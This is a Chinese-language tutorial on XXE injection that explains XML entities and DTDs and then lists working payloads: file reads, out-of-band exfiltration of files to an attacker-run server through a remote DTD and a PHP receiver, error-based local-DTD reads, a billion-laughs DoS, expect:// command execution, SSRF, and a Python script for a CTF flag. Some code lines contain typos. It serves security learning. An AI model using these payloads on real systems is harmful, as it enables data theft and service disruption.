概念
XXE,是指在应用程序解析xml外部输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、执行系统命令等
典型的攻击如下:
<?xml version="1.0" encoding="ISO-8859-1"?> //XML声明
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/paswd" >]> //DTD部分
<foo>&xxe;</foo> //XML部分定义实体必须写在DTD部分
特点:
- xml仅仅是纯文本,不会做任何事情
- xml可以自己发明标签(允许定义自己的标签和文档结构)
xml无处不在,是各种应用程序之间进行数据传输的常用工具,并且在信息存储和描述领域变得越来越好
XML实体
XML实体是在xml文档中表示数据项的一种方式,,而不是使用数据本身。各种实体内置于xml语言的规范中。
自定义实体
XML允许在DTD中定义自定义实体。
此定义意味着在使用过程中对实体&myentity的任何引用,在XML文档中的值都将替换成my entity value
<!DOCTYPE foo [<!ENTITY myentity "my entity value">]>
外部实体
XML外部实体是一种自定义实体,其定义位于声明它们的DTD之外
外部实体的声明需要使用SYSTEM关键字,并且必须指定URL然后从URL中加载实体值。例如:
<!!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file">]>
XML外部实体是引发XML外部实体攻击的主要手段
XML元素
元素类型声明为xml文档中可能出现的元素的类型和数量、元素之间可能出现的内容以及它们必须出现的顺序设置了规则。
例如:
<!ELEMENT stockCheck ANY>表示任何对象都可以在父级<stockCheck></stockCheck>
<!ELEMENT stockCheck EMPTY>表示它可以为空<stockCheck></stockCheck>
<!ELEMENT stockCheck(productld,storeld)>声明<stockkCheck>可以有子级<productld>和<storeld>
命名规则
xml元素必须遵循以下明明规则:
- 名称可以含字母、数字以及其他的字符
- 名称不能以数字或者标点符号开始
- 名称不呢以字符”xml”(或者”XML”或者”Xml”等)开始 可以使用任何名称,没有保留单词
最佳命名习惯
使名称具有描述性。使用下划线的名称也可以 注意:
- 避免”-“字符,如果是”first-name”,一些软件一般认为是认为需要提取第一个单词
- 避免”.”字符,如果是”frist.name”,一些软件会认为是”name”字符是对象”frist”的属性
- 避免”:“字符,冒号会被转换成命名空间来使用
文档类型定义
DTD在XML文档开头的可选DOCTPE元素中声明。DTD可以完全独立于文档本身,也可以从其他地方加载,或者可以是二者混合
漏洞成因
php中存在一个叫做simplexml__load_string的函数用来处理xml
这个函数将xml转换为对象
示例:
<?php
$test='<!!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file">]>';
$obj==simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
print_r($obj);
?>
变量test里面是xml 然后试用simplexml_load_string将其转化为对象
攻击方式
内部实体和外部实体
内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
通用实体和参数实体
1.通用实体 通用实体就像是 XML 里的全局变量。 用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
2.参数实体: 参数实体是专门在 DTD 内部使用的“局部变量”。
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
攻击流程
测试语句
本地输出
<?xml version="1.0"?> <test>hello</test>
使用带外检测测试blind xxe
<!DOCTYPE foo[ <!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>
python测试
import requests
# 替换为你当前的题目 URL
url = ""
# 1. 构造请求头,告诉服务器我们要发送的是 XML 数据
headers = {
"Content-Type": "application/xml"
}
# 2. 构造恶意的 XML Payload,目标是读取 /flag
xml_payload = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<ctfshow>&xxe;</ctfshow>
</root>"""
try:
# 3. 使用 POST 方法发送请求,注意这里必须用 data= 传递原始文本,不能用 json=
print(f"[*] 正在向 {url} 发送 XXE Payload...")
response = requests.post(url, headers=headers, data=xml_payload, timeout=10)
# 4. 打印服务器的回显结果
print("[+] 请求成功!服务器响应内容如下:\n")
# 因为页面包含 php 源码,内容比较多,你可以直接打印全部
print(response.text)
# 【进阶小技巧】如果你只想提取回显在最前面的 flag,可以对 response.text 进行简单的切片或正则匹配
# 比如:我们知道 flag 是在 <?php 之前输出的
# flag = response.text.split("<?php")[0].strip()
# print(f"\n[★] 提取到的 Flag: {flag}")
except requests.exceptions.RequestException as e:
print(f"[-] 请求发生错误: {e}")
这个xxe的payload声明了一个名为xxe的xml参数实体,然后再dtd中使用该实体,这将导致对攻击者的域进行DNS查找和HTTP请求来判断攻击是否成功
常见的payload
读取文件
<?xml version="1.0"?>
<!DOCTYPE eleven [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<eleven>&xxe;</eleven>
读取php文件,发现读取内容为空、没有读取到文件内容,原因是 php 文件需要进行加密才能够被读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<eleven>&xxe;</eleven> 外部实体
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://your web server address/test.dtd">
%file;
]>
<eleven>&send;</eleven>
//test.dtd
<!ENTITY send SYSTEM "file:///c:/windows/win.ini">无回显读文件
1. 建立test.dtd外部实体文件,在远程服务器的解析目录下。
//test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://your web server address/get.php?file=%file;'>">
2. 建立get.php文件放在你的服务器根目录中用于接收数据
//get.php
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
3. BP抓包修改,POST请求体。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://你的web服务器地址/test.dtd">
%remote;
%all;
]>
<eleven>&send;</eleven>无回显:加载本地DTD
如果目标有防火墙等设备,阻止了对外连接,可以采用基于错误回显的XXE。这种方式最流行的一种就是加载本地的DTD文件。
<?xml version="1.0" ?>
<!DOCTYPE messege [
<!ENTITY % local_dtd SYSTEM "file:///目标机器本地的dtd文件绝对路径">
<!ENTITY % condition'aaa)>
<!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval "
<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ENTITY aa (bb'>
%local_dtd;
]>
<eleven>any text</eleven>
<?xml version="1.0" ?>
<!DOCTYPE messege [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/Websphere/AppServer/properties/sip-app10.dtd">
<!ENTITY % condition'aaa)>
<!ENTITY %file SYSTEM "file:///etc/passwd">SYSTEM '<!ENTITY % eval "
<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ENTITY aa (bb'>
%local_dtd;
]>
<eleven>any text</eleven>
Dos攻击
常见的XML炸弹:当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>命令执行【了解】
在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除。
漏洞代码如下:
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?><?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<eleven>&xxe;</eleven>SSRF了解
SSRF的触发点通常是在ENTITY实体中
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY % ssrf SYSTEM "http://ip:port">
%ssrf;
]>